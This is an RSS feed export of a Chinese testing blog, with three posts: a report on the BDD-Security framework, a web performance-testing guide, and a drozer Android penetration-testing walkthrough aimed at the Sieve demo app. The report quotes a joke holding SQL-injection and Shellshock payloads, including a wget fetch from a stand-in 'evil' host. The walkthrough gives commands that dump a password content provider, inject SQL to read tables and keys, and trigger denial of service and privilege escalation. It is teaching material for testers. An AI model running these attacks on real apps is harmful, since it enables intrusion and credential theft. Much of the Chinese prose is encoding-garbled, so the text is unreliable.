??xml version="1.0" encoding="utf-8" standalone="yes"?>ɱԿ:BlogJava - 4399ɱol|ɱ佫//www.lmlez.icu/qileilove/blog已经转移至github,大家误?//qaseven.github.io/zh-cnWed, 16 Oct 2019 03:09:12 GMTWed, 16 Oct 2019 03:09:12 GMT60在开发流E中嵌入安全试 - 4399ɱol|ɱ佫//www.lmlez.icu/qileilove/archive/2015/03/18/423599.html其自然EVO其自然EVOWed, 18 Mar 2015 14:10:00 GMT//www.lmlez.icu/qileilove/archive/2015/03/18/423599.html//www.lmlez.icu/qileilove/comments/423599.html//www.lmlez.icu/qileilove/archive/2015/03/18/423599.html#Feedback0//www.lmlez.icu/qileilove/comments/commentRss/423599.html//www.lmlez.icu/qileilove/services/trackbacks/423599.html ContinuumSecurity创始人Stephen de VriesQ在Velocity Europe 2014大会上提Z持箋且可视化?a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;">安全试的观炏VStephen表示Q那些在敏捷开发过E中用于QA嵌入整个开发流E的Ҏ和工具都能同L用于安全试。BDD-Security是一个基于JBehaveQ且遵@Given-When-ThenҎ的安全测试框架?/div>
  传统的安全测试都遵@瀑布程Q也是说安全团队L在开发阶D늚末期才参与进来,q且通常需要外部专家的帮助。在整个开发流E中Q渗透测试L被安排到很晚才做Q得ؓ应用做安全防范的d其困难且复杂。Stephen认ؓ安全试完全可以变得像QA一P每个人都对安全问题负责;安全问题可以在更接近代码的层面考虑Q安全测试完全可以嵌入一个持l集成的开发过E中?/div>
  ZQA和安全测试只有量的区别而没有质的区别,Stephen展示了C. Maartmann-Moe和Bill Sempf分别发布的推特:
  从QA的角度:
  QA工程师走q一安吧,点了一杯啤酒;点了0杯啤酒;点了999999999杯啤酒;点了一只蜥_点了-1杯啤酒;点了一个sfdeljknesv?/div>
  从安全的角度Q?/div>
  渗透测试工E师走进一安吧,点了一杯啤酒;点了”>杯啤酒;点了’or 1=1-杯啤酒;点了() { :; }; wget -O /beers //evil; /杯啤酒。  要将安全试集成q敏捷开发流E中Q首先需要满的条g是:可见性,以便采取及时应对措施q修补;可测试性,以便于自动化Q比仅仅单的扫描更有价倹{Stephen发现BDD工具族就同时满了可见性及可测试性,因此他开始着手构建BDD-Security安全试框架?/div>
  ׃BDD-Security是基于JBehave构徏的,因此它用BDD的标准说明语aGherkin。一个BDD-Security试场景如下Q?/div>
  Scenario: Transmit authentication credentials over HTTPS
  Meta: @id auth_https
  Given the browser is configured to use an intercepting proxy
  And the proxy logs are cleared
  And the default user logs in with credentials from: users.table
  And the HTTP request-response containing the default credentials is inspected
  Then the protocol should be HTTPS
  BDD-Security用户故事的编写与通常做法不太一栗BDD-Security说明面上写着Q?/div>
  本框架的架构设计使得安全用例故事与应用的特定D逻辑怺独立Q这意味着同一个用h事仅需要做微小的改动就能用在多个应用中Q有时甚x需修改?/div>
  q也说明BDD-Security框架认ؓ对许多应用来_有一pd安全需求都是普遍要满的。也是说你只需写代码把已有的故事插入你的应?#8212;—也就是导航逻辑中即可。当Ӟ必要的时候你也完全可以编写自q用户故事?/div>
  BDD-Security依赖于第三方安全试工具来执行具体的安全相关的行为,例如应用扫描。这些工hOWASP ZAP或Nessus{?/div>
  Stephenq提到其它一些有cM功能的工兗如Zap-WebDriver是一ƾ更单的工具Q不喜欢BDD方式的h可以考虑采用它。Gauntlt与BDD-Security框架cMQ同h持BDDQ只是它使用的编E语a?a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;">Ruby。Mittn?a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;">Python~写q且同样也用Gherkin?/div>

其自然EVO 2015-03-18 22:10 发表评论
]]>如何q行Web服务的性能试Q?/title><link>//www.lmlez.icu/qileilove/archive/2015/03/18/423598.html</link><dc:creator>其自然EVO</dc:creator><author>其自然EVO</author><pubDate>Wed, 18 Mar 2015 14:08:00 GMT</pubDate><guid>//www.lmlez.icu/qileilove/archive/2015/03/18/423598.html</guid><wfw:comment>//www.lmlez.icu/qileilove/comments/423598.html</wfw:comment><comments>//www.lmlez.icu/qileilove/archive/2015/03/18/423598.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>//www.lmlez.icu/qileilove/comments/commentRss/423598.html</wfw:commentRss><trackback:ping>//www.lmlez.icu/qileilove/services/trackbacks/423598.html</trackback:ping><description><![CDATA[<div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">  随着览器功能的不断完善Q用户量不断的攀升,涉及?a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">web</strong></u></a>服务的功能在不断的增加,对于我们<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">试</strong></u></a>来说Q我们不仅要保证服务端功能的正确性,也要验证服务端程序的性能是否W合要求。那?a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">性能试</strong></u></a>都要做些什么呢Q我们该怎样q行性能试呢?</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">  <strong style="word-break: break-all; line-height: normal !important;">性能试一般会围绕以下q些问题而进行:</strong></div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">  1. 什么情况下需要做性能试Q?/div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">  2. 什么时候做性能试Q?/div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">  3. 做性能试需要准备哪些内容?</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">  4. 什么样的性能指标是符合要求的Q?/div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">  5. 性能试需要收集的数据有哪些?</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">  6. 怎样攉q些数据Q?/div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">  7. 如何分析攉到的数据Q?/div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">  8. 如何l出性能试报告Q?/div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;"> <strong style="word-break: break-all; line-height: normal !important;"> 性能试的执行过E及要做的事儿主要包含以下内容:</strong></div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">  1. 试评估阶段</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">  在这个阶D,我们要评估被的产品是否要进行性能试Qƈ且对目前的服务器环境q行_估Q服务的性能是否满条g?/div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">  首先要明只要涉及到准备上线的服务端产品Q就需要进行性能试。其ơ如果品需求中明确提到了性能指标Q那也必要做性能试?/div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">  试人员在进行性能试前,需要根据当前的攉到的各种信息Q预先做性能的评伎ͼ攉的内容主要包括带宽、请求包大小、ƈ发用h和当前web服务的带宽等</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">  2. 试准备阶段</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">  在这个阶D,我们要了解以下内容:</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">  a. 服务器的架构是什么样的,例如Qweb服务器是什么?是如何配|的Q?a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">数据?/strong></u></a>用的是什么?服务用的是什么语a~写的?Q?/div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">  b. 服务端功能的内部逻辑实现Q?/div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">  c. 服务端与数据库是如何交互的,例如Q数据库的表l构是什么样的?服务端功能是怎样操作数据库的Q?/div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">  d. 服务端与客户端之间是如何q行交互的,x口定义;</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">  通过攉以上信息Q测试h员整理出服务器端各模块之间的交互图,客户端与服务端之间的交互图以及服务端内部功能逻辑实现的流E图?/div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">  e. 该服务上U后的用户量预估是多,如果无法评估出用户量Q那么可以通过设计试执行的场景得个|</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">  f. 上线要部|到多少台机器上Q每台机器的负蝲均衡是如何设计的Q每台机器的配置什么样的,|络环境是什么样的?/div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">  g. 了解试环境与线上环境的不同Q例如网l环境、硬仉|等</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">  h. 制定试执行的策略,是需要验证需求中的指标能否达刎ͼq是评估pȝ的最大处理能力?/div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">  i. 沟通上U的指标</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">  通过攉以上信息Q确定性能<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">试用例</strong></u></a>该如何设计,如何设计性能试用例执行的场景,以及上线指标的评估?/div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">  3. 试设计阶段</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">  Ҏ试人员通过之前整理的交互图和流E图Q设计相应的性能试用例。性能试用例主要分ؓ预期目标用户试Q用户ƈ发测试,疲劳强度与大数量试Q网l性能试Q服务器性能试Q具体编写的试用例要更具实际情况进行裁减?/div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">  用例~写的步骤大致分为:</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">  a. 通过脚本模拟单一用户是如何用这个web服务的。这里模拟的可以是用户用web服务的某一个动作或某几个动作,某一个功能或几个功能Q也可以是用web服务的整个过E?/div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">  b. Ҏ客户端的实际情况和服务器端的{略Q通过脚本中可变的数据进行参数化Q来模拟多个用户的操作?/div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">  c. 验证参数化后脚本功能的正性?/div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">  d. d查点</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">  e. 设计脚本执行的策略,如每个功能的执行ơ数Q各个功能的执行序{?/div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">  4. 试执行阶段<br /><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  Ҏ客户端的产品行ؓ设计web服务的测试执行场景及试执行的过E,x试执行期间发生的事儿。通过监控E序攉web服务的性能数据和web服务所在系l的性能数据?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  在测试执行过E中Q还要不断的x以下内容Q?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  a. web服务的连接速度如何Q?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  b. 每秒的点L如何Q?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  c. Web服务能允许多个用户同时在线Q?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  d. 如果过了这个数量,会出C么现象?</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  e. Web服务能否处理大量用户对同一个页面的hQ?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  f. 如果web服务崩溃Q是否会自动恢复Q?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  g. pȝ能否同一旉响应大量用户的请求?</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  h. 打压机的pȝ负蝲状态?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  5. 试分析阶段</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  收集到的数据制成图表,查看各指标的性能变化曲线Q结合之前确定的上线指标Q对各项数据q行分析Q已定是否l箋对web服务q行试Q结果是否达C期望倹{?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  6. 试验证阶段</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  在开发针对发现的性能问题q行修复后,要再执行性能试的用例对问题q行验证。这里需要关注的是开发在解决问题的同时可能无意中修改了某些功能,所以在验证性能的同Ӟ也要x原有功能是否受到了媄?/div></div><div id="weixin_s" style="word-break: break-all; margin: 0px 0px 10px; width: 350px; height: 32px; display: inline-block; position: relative; line-height: 1.8em !important; background-image: url(//www.51testing.com/html/wx.jpg); background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: no-repeat;"><div style="word-break: break-all; margin: 4px 0px 10px 130px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: normal !important; background-color: #ffffff;"></div></div><img src ="//www.lmlez.icu/qileilove/aggbug/423598.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="//www.lmlez.icu/qileilove/" target="_blank">其自然EVO</a> 2015-03-18 22:08 <a href="//www.lmlez.icu/qileilove/archive/2015/03/18/423598.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>利用drozerq行Android渗透测?/title><link>//www.lmlez.icu/qileilove/archive/2015/03/18/423597.html</link><dc:creator>其自然EVO</dc:creator><author>其自然EVO</author><pubDate>Wed, 18 Mar 2015 14:06:00 GMT</pubDate><guid>//www.lmlez.icu/qileilove/archive/2015/03/18/423597.html</guid><wfw:comment>//www.lmlez.icu/qileilove/comments/423597.html</wfw:comment><comments>//www.lmlez.icu/qileilove/archive/2015/03/18/423597.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>//www.lmlez.icu/qileilove/comments/commentRss/423597.html</wfw:commentRss><trackback:ping>//www.lmlez.icu/qileilove/services/trackbacks/423597.html</trackback:ping><description><![CDATA[<div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"> <strong style="word-break: break-all; line-height: normal !important;">一、安装与启动</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  <strong style="word-break: break-all; line-height: normal !important;">1. 安装</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  W一步:从//mwr.to/drozer下蝲Drozer (<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">Windows</strong></u></a> Installer)</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  W二步:?a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">Android</strong></u></a>讑֤中安装agent.apk</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  adb install agent.apk</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  <strong style="word-break: break-all; line-height: normal !important;">2. 启动</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  W一步:在PC上用adbq行端口转发Q{发到Drozer使用的端?1415</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  adb forward tcp:31415 tcp:31415</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  W二步:在Android讑֤上开启Drozer Agent</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  选择embedded server-enable</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  W三步:在PC上开启Drozer console</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  drozer console connect</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"> <strong style="word-break: break-all; line-height: normal !important;"> 二?a target="_self" style="word-break: break-all; color: #202859;"><u style="word-break: break-all;"><strong style="word-break: break-all;">试</strong></u></a>步骤</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"> <strong style="word-break: break-all; line-height: normal !important;"> 1.获取包名</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  dz> run app.package.list -f sieve</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  com.mwr.example.sieve</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"> <strong style="word-break: break-all; line-height: normal !important;"> 2.获取应用的基本信?/strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  run app.package.info -a com.mwr.example.sieve</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"> <strong style="word-break: break-all; line-height: normal !important;"> 3.定d?/strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  run app.package.attacksurface com.mwr.example.sieve</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"><strong style="word-break: break-all; line-height: normal !important;">  4.Activity</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  Q?Q获取activity信息</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  run app.activity.info -a com.mwr.example.sieve</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  Q?Q启动activity</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  run app.activity.start --component com.mwr.example.sieve</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  dz> help app.activity.start</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  usage: run app.activity.start [-h] [--action ACTION] [--category CATEGORY]</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  [--component PACKAGE COMPONENT] [--data-uri DATA_URI]</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  [--extra TYPE KEY VALUE] [--flags FLAGS [FLAGS ...]]</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  [--mimetype MIMETYPE]</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"> <strong style="word-break: break-all; line-height: normal !important;"> 5.Content Provider</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  Q?Q获取Content Provider信息</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  run app.provider.info -a com.mwr.example.sieve</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  Q?QContent ProvidersQ数据泄Ԍ</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  先获取所有可以访问的UriQ?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  run scanner.provider.finduris -a com.mwr.example.sieve</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  获取各个Uri的数据:</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  run app.provider.query</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  查询到数据说明存在漏z?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  Q?QContent ProvidersQ?a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">SQL</strong></u></a>注入Q?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  报错则说明存在SQL注入?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  列出所有表Q?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--"</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  获取某个表(如KeyQ中的数据:</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--"</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  Q?Q同时检SQL注入和目录遍?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  run scanner.provider.injection -a com.mwr.example.sieve</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  run scanner.provider.traversal -a com.mwr.example.sieve<br /><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">  <strong style="word-break: break-all; line-height: normal !important;">6 intentlg触发Q拒l服务、权限提升)</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">  利用intent对组件的触发一般有两类漏洞Q一cL拒绝服务Q一cȝ权限提升。拒l服务危x比较低Q更多的只是影响应用服务质量Q而权限提升将使得没有该权限的应用可以通过intent触发拥有该权限的应用Q从而帮助其完成权行ؓ?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">  1.查看暴露的广播组件信息:</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">  run app.broadcast.info -a com.package.name  获取broadcast receivers信息</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">  run app.broadcast.send --component 包名 --action android.intent.action.XXX</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">  2.试拒绝服务d,向广播组件发送不完整intentQ空action或空extrasQ:</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">  run app.broadcast.send 通过intent发送broadcast receiver</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">  (1)   Iaction</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">  run app.broadcast.send --component 包名 ReceiverName</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">  run app.broadcast.send --component 包名 ReceiverName</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">  (2)   Iextras</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">  run app.broadcast.send --action android.intent.action.XXX</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">  3.试权限提升</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">  权限提升其实和拒l服务很cMQ只不过目的变成构造更为完整、更能满程序逻辑的intent。由于activity一般多于用户交互有养I所以基 于intent的权限提升更多针对broadcast receiver和service。与drozer相关的权限提升工P可以参考IntentFuzzerQ其l合了drozer以及hook技术,采用 feedback{略q行fuzzing。以下仅仅列举drozer发送intent的命令:</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">  Q?Q获取service详情</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">  run app.service.info -a com.mwr.example.sieve</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">  不用drozer启动service</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">  am startservice –n 包名/service?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">  Q?Q权限提?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">  run app.service.start --action com.test.vulnerability.SEND_SMS --extra string dest 11111 --extra string text 1111 --extra string OP SEND_SMS</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;"> <strong style="word-break: break-all; line-height: normal !important;"> 7.文g操作</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">  